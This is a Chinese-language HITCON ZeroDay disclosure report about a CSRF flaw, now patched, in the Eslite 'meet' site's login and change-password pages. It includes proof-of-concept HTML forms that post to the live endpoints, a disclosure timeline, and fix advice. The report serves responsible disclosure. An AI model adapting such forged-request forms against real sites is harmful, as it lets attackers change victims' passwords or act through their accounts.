迷誠品 ,發現 CSRF 弱點。 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00252
  •  發信 Vendor: 誠品股份有限公司
  • Title: 迷誠品 ,發現 CSRF 弱點。
  • Introduction: CSRF

處理狀態

目前狀態

公開
Last Update : 2019/06/26
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2019/03/15 20:59:26 : 新提交 (由 MksYi 更新此狀態)
  • 2019/03/15 22:50:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/16 11:20:07 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/16 11:20:08 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/05/09 23:39:42 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/05/09 23:39:45 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/06/10 10:50:21 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2019/06/26 00:54:03 : 確認已修補 (由 MksYi 更新此狀態)
  • 2019/06/26 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00252
  • 通報者:MksYi (MksYi)
  • 風險:低
  • 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)

參考資料

攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。

漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://meet.eslite.com/tw/tc/member/login
https://meet.eslite.com/tw/tc/member/changepassword

敘述

  1. 透過複製 Login 頁面 Form 的 HTML 代碼,存至本地端執行,並修改 action 為 Login 的 URL 位址。
    HTML 代碼如下:

    <form id="login-popup-form" method="post" novalidate="novalidate" action="https://meet.eslite.com/tw/tc/member/login">
    <input type="hidden" name="returnUrl" value="">
    <div class="title">會員登入</div>
    <div class="c-form-line">
        <div class="c-label">帳號:</div>
        <div class="c-input"><input type="text" name="login_Name" placeholder="請輸入帳號"></div>
    </div>
    <div class="c-form-line">
        <div class="c-label">密碼:</div>
        <div class="c-input"><input type="text" name="login_Password" id="login_Password" placeholder="請輸入密碼"></div>
    </div>
    <div class="p-btn"><input class="c-btn black long" id="open-login-wrong-acc-popup" type="submit" value="登入"></div>
    </form>

    實際執行的回應如下:
    圖片

  2. 同樣複製更改密碼頁面的 Form,並存至本地端執行,修改 action 為 changepassword 的 URL 位址。
    HTML 代碼如下:

    <form action="https://meet.eslite.com/tw/tc/member/changepassword" method="post" id="change-pw-form" novalidate="novalidate" >
    <div class="c-form-line mt20">
        <div class="c-label">你的舊密碼為</div>
        <div class="c-input">
            <div class="input1">
                <input type="text" name="change_pw_current" autocomplete="off" placeholder="6~24個英文或數字半形字元">
            </div>
        </div>
    </div>
    <div class="c-form-line">
        <div class="c-label">你的新密碼為</div>
        <div class="c-input">
            <div class="input1">
                <input type="text" name="change_pw_new" autocomplete="off" placeholder="6~24個英文或數字半形字元">
            </div>
        </div>
    </div>
    <div class="c-form-line">
        <div class="c-label">再次輸入新密碼</div>
        <div class="c-input">
            <div class="input1">
                <input type="text" name="change_pw_confirm_new" autocomplete="off" placeholder="6~24個英文或數字半形字元">
            </div>
        </div>
    </div>
    <!-- <div class="binding-w mt40">提醒你,本密碼僅限誠品生活網使用,不會同時更動誠品集團其他線上平台密碼。</div> -->
    <hr>
    <input type="submit" id="change_pw_submit" class="c-btn black ml20" value="確認送出">
    </form>

    實際執行的回應如下:
    圖片

漏洞利用影片:
https://youtu.be/Bq39UQmySvA

修補建議

1. 確實針對請求執行 Token 的審查
2. 確認請求是否來自相同的網域
3. 建立驗證碼機制

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;